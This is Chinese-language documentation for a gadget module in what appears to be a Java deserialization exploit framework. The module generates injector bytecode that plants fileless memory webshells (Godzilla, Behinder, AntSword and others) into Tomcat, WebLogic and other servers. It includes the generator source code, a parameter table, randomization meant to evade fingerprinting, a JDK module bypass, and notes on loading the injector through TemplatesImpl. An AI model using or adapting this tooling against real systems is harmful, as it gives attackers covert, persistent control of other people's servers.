- 类别:bytecode 别名:— 优先级:10
- 作者:Pen4uin
- 依赖:内置 java-memshell-generator(Jmg v1.0.9,2025-01-02)、
commons-codec、slf4j
调用内置的 Jmg(java-memshell-generator)SDK,按用户选择的「内存马工具(Godzilla/Behinder/Suo5/…)× 挂载类型(Listener/Filter/Valve/…)× 目标中间件(Tomcat/Jetty/WebLogic/…)」现场生成一段内存马注入器字节码,作为链尾字节码 sink(END)。目标 JVM 加载该注入器后即完成内存马注入,无需落地文件。
- 入口
tags:Bytecode、Inject、END——Bytecode表示产物是字节码byte[];Inject标识其为「内存马注入」类载荷;END表示链终点,其后不接 gadget。 - 衔接
nextTags:空。 excludes:无。
由上游「字节码装载器」承接:注入器 byte[] 需被目标加载并执行(其静态块/构造在加载瞬间完成注入),通常经 BytecodeConvert 装入 TemplatesImpl 触发。
核心是把用户参数灌进 Jmg 的 AbstractConfig,调用 jMGenerator.genPayload() 拿注入器字节码:
public byte[] getObject() throws Exception {
AbstractConfig config = new AbstractConfig();
config.setToolType(this.toolType);
config.setShellType(this.shellType);
config.setServerType(this.serverType);
config.setHeaderName(this.headerName);
if ("random".equalsIgnoreCase(this.headerValue)) {
config.setHeaderValue(CommonUtil.getRandomString(4, 20)); // random → 随机头值
} else { config.setHeaderValue(this.headerValue); }
if ("random".equalsIgnoreCase(this.pass)) {
config.setPass(CommonUtil.getRandomString(4, 10)); // random → 随机密码
} else { config.setPass(this.pass); }
if ("random".equalsIgnoreCase(this.key)) {
config.setKey(CommonUtil.getRandomString(4, 10)); // random → 随机密钥
} else { config.setKey(this.key); }
if ("Custom".equalsIgnoreCase(this.shellType)) {
config.setShellBytes(Base64.decodeBase64((String)this.shellBytesBase64));
}
config.setShellClassName(FileHelper.getRandomClassName()); // shell 类名随机
config.setUrlPattern(this.urlPattern);
config.setEnableBypassJDKModule(this.bypassJdkModule);
...
synchronized (JmgGadget.class) {
try {
jMGenerator generator = new jMGenerator(config);
generator.genPayload();
bytes = config.getInjectorBytes(); // 取注入器字节码
} catch (Exception e) {
ThrowsUtil.throwGadgetException("Invoke Jmg Error, plz check Jmg shellType、serverType params: " + e.getMessage());
}
this.context.put("Jmg Shell ClassName", config.getShellClassName());
this.context.put("Jmg Shell Bytecode Base64", Base64.encodeBase64String(...));
this.context.put("Jmg Injector ClassName", config.getInjectorClassName());
this.context.put("Jmg Injector Bytecode Base64", Base64.encodeBase64String(...));
return bytes;
}
}逐段解释:
- 随机值处理:
pass/key/headerValue传字面量random时会被CommonUtil.getRandomString替换为随机串,避免固定指纹;替换后的真实值通过context.put(...)回写到结果 Context,供操作者事后查看连接凭据。 - Custom 分支:当
shellType等于"Custom"时,读取shellBytesBase64作为自定义 shell 字节(注意:判断的是shellType而非toolType,是源码中一个需留意的细节;shellType的下拉选项本身并不含Custom,该分支主要在手工指定时生效)。 - 随机类名:shell 类名恒用
FileHelper.getRandomClassName()随机化。 - 生成:
new jMGenerator(config).genPayload()驱动 Jmg SDK 产出,最终返回config.getInjectorBytes()——注入器字节码(而非 shell 本身)。 - 线程安全:整段包在
synchronized (JmgGadget.class)中,因为 Jmg SDK 通过共享静态config状态生成,需串行化。 invoke中先保存context再chain.doCreate(context),最后getObject()。
getObject 报错信息明确提示「检查 shellType、serverType 参数组合」——与 description 一致:Jmg 的常见失败是这两个参数组合不被支持(如 SpringMVC 仅支持 Interceptor、SpringWebFlux 仅支持 WFHandlerMethod)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
toolType |
内存马工具种类 | 内存马对接的管理工具 | Godzilla |
Godzilla / Suo5 / Behinder / NeoreGeorg / AntSword |
shellType |
内存马类型 | 挂载类型;部分组合不被支持 | Listener |
Listener / Filter / Valve / Interceptor / JakartaListener / JakartaFilter / WFHandlerMethod |
serverType |
目标中间件类型 | 目标 Web 容器 | Tomcat |
Tomcat / Resin / Jetty / SpringMVC / SpringWebFlux / JBoss / WebLogic / WebSphere / Undertow / GlassFish / Tongweb / Apusic / InforSuite / BES |
pass |
Shell 密码 | Godzilla/Behinder/AntSword 密码;random 随机 |
random |
任意字符串 |
key |
Shell 密钥 | 仅 Godzilla 密钥;random 随机 |
random |
任意字符串 |
urlPattern |
url 匹配路径 | 一般无需更改 | /* |
URL pattern |
bypassJdkModule |
绕过 JDKModule 限制 | 高版本 JDK 反射绕过 | false |
true / false |
headerName |
内存马请求头 Key | 触发/通信用请求头名 | Accept |
任意字符串 |
headerValue |
内存马请求头 Value | random 随机 |
random |
任意字符串 |
shellBytesBase64 |
Custom Shell | 自定义 shell 字节(Base64) | 无 | Base64 |
- 内置 Jmg v1.0.9;如遇参数组合报错,作者建议改用 Jmg 原版工程生成后手工复制到 BytecodeFromBase64。
- 产物是注入器字节码:其静态块/构造在被目标加载时执行注入,因此必须搭配能加载类的上游装载器。
- 与 JmgCustomShellGadget 的区别:本类由 Jmg 从内置工具模板整马生成;后者只用 Jmg 的注入器逻辑,shell 主体由链上游提供的字节码充当。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为内存马 sink,可替换任意命令执行 sink。
- 上游(吃
Bytecode的装载器):BytecodeConvert →TemplatesImpl等。 - 同族:JmgCustomShellGadget(Jmg 注入器 + 自定义马)、MemShellPartyGadget(另一套内存马生成框架)。